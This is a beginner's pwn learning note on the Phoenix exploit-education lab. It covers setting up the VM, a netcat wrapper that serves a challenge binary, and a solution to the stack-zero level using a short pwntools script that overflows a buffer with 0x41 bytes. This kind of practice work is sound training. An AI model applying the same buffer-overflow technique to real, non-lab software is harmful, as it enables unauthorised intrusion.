I found a project to learn pwn at http://exploit.education, and decided to temporarily learn pwn to get on the right track. I'll try starting a note series (I always forget how to write pwntools scripts), hoping not to give up halfway. Set a small goal, at least finish the Phoenix series.
Environment Setup#
First, download the virtual machine image of Phoenix in the more-downloads section, choose according to your architecture. This is the target machine. Before starting, we need to install qemu-system-x86 (64-bit is also in the same package (archlinux))
Run boot-balabala.sh to start the virtual machine, which opens ssh on port 2222 by default. The username and password are both user.
If you want to use netcat to forward the programs inside, just add another port forwarding in the startup script, here is an example of the entire line for the network.
-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333
Then, execute the following command inside the virtual machine.
mkfifo io
And create a script file (start.sh)
#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io
Then you can start netcat by using sh start.sh /opt/phoenix/amd64/stack-zero, remember to match the port 3333 with the one in the startup script.
The gdb in the virtual machine is installed with gef by default, but I don't know how to use it very well, so I copied a copy of peda into it. Skipping.
Install a very convenient pwntools on the host machine: pip install pwntools
stack-zero#
The program is relatively simple, so I used cutter directly.
(Actually, the source code is provided on the exploit.education website) (The comment at the beginning is even a joke)
Now we want to overflow s into var_10h (changeme), the content can be anything. Open gdb, calculate the distance, and input something randomly first.
The string is at 0x620.
The conditional statement, changeme is at rbp-0x10, which is 0x670-0x10.
Calculate 0x660-0x620=0x40.
So we just need to output 0x41 'a's.
To practice using pwntools, write some code.
Here I connected directly using ssh, no need for nc.
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()
Success
